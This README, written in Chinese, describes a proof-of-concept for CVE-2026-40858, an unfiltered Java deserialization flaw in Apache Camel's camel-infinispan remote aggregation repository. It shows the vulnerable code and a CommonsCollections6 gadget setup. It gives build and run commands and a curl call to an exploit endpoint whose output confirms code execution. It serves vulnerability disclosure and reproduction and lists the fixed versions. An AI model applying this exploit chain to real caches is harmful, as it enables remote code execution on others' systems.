本项目演示了 Apache Camel 的 camel-infinispan 组件中的一个 Java 反序列化漏洞,追踪编号为 CVE-2026-40858。基于 ProtoStream 的 远程聚合存储库 将每个聚合的 Exchange 序列化到远程 Infinispan 缓存中,当它读回一个条目时(在 get() / recover() 时),使用 java.io.ObjectInputStream 且 没有 ObjectInputFilter 进行反序列化。能够写入底层缓存攻击者可以植入精心构造的序列化对象,并在存储库下次读取该键时获得 远程代码执行。
公告:https://camel.apache.org/security/CVE-2026-40858.html
| 属性 | 值 |
|---|---|
| 组件 | camel-infinispan(远程 / HotRod 聚合存储库) |
| 受影响的类 | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502:不可信数据的反序列化 |
| 影响 | 远程代码执行 (RCE) |
| 受影响版本 | 从 4.0.0 到 4.14.7 之前,从 4.15.0 到 4.18.2 之前,从 4.19.0 到 4.20.0 之前 |
| 修复版本 | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| 报告者 | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository 将每个 Exchange 存储为 DefaultExchangeHolder。使用 ProtoStream 编组器时,该持有者由 DefaultExchangeHolderProtoAdapter 适配,其 ProtoStream 字段 #1 是使用普通 ObjectOutputStream 序列化的持有者。在返回路径上,适配器通过将这些字节交给 DefaultExchangeHolderUtils.deserialize 来重建持有者:
// DefaultExchangeHolderUtils.deserialize(byte[]) - 受影响版本
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // 没有 ObjectInputFilter
}
ClassLoadingAwareObjectInputStream 扩大了可解析类的集合,而非限制它,因此 readObject() 将实例化类路径上存在的任何 gadget 链。由于字节直接来自远程缓存,任何能够写入该缓存键的人都可以控制反序列化流 —— 并且 gadget 在 readObject() 期间触发,值从未被转换为 DefaultExchangeHolder。
一个路由(或如本例中的应用代码)使用由 Infinispan 服务器支持的远程聚合存储库:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // 指向 Infinispan 服务器
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... 在聚合期间,Camel 调用 repo.add(...) / repo.get(...) / repo.recover(...)
对存储值被篡改的键的任何 get() / recover() 都会触发汇聚点。
有漏洞的 Camel 代码运行在应用程序中(在主机上);Infinispan 服务器运行在 Docker 中,作为存储库与之通信的后端存储。这反映了存储库在实际部署中的工作方式:不可信数据存在于共享缓存中。
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (远程缓存)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # 构建并启动 InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6 gadget,在 readObject() 期间触发
│ └── ExploitController.java # /exploit/attack:植入 gadget 体的持有者,然后读取它
└── resources/
└── application.properties
关于 PoC 捷径的说明。 真实攻击者会将恶意字节直接写入共享的 Infinispan 缓存。为了使复现工具自包含,
/exploit/attack通过同一个存储库植入值(repo.add(...)使用 gadget 作为 Exchange 体),然后调用repo.get(...)触发读取。执行 gadget 的汇聚点是 Camel 自己的readObject(),正如它会在任何攻击者篡改的缓存条目上触发一样。
docker compose up -d
# 等待直到就绪:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
CommonsCollections6 gadget 通过反射在运行时组装到 java.util 中,因此 JVM 必须以 --add-opens java.base/java.util=ALL-UNNAMED 启动:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE 验证 —— /tmp/pwned 存在:true
在存储库反序列化植入的缓存值时,gadget 创建了 /tmp/pwned(touch /tmp/pwned)。
docker compose down
rm -f /tmp/pwned
任何使用 InfinispanRemoteAggregationRepository(ProtoStream 编组)针对攻击者可以写入的缓存的部署。缓存写入访问可能来自共享/多租户的 Infinispan 集群、网络可访问的 HotRod 端点,或任何其他将数据放入同一缓存的生产者。
commons-collections:3.2.1)。升级到 4.14.7 / 4.18.2 / 4.20.0。修复程序在持有者反序列化上应用了 ObjectInputFilter / 类白名单,与其他 Camel 聚合存储库(camel-leveldb、camel-cassandraql、camel-jms)以及 camel-mina / camel-netty 的加固相匹配。
在升级之前:
此复现工具仅供 安全研究和授权测试 使用,针对 已公开披露并已修复的 漏洞。不得在未经明确许可的情况下对系统使用它。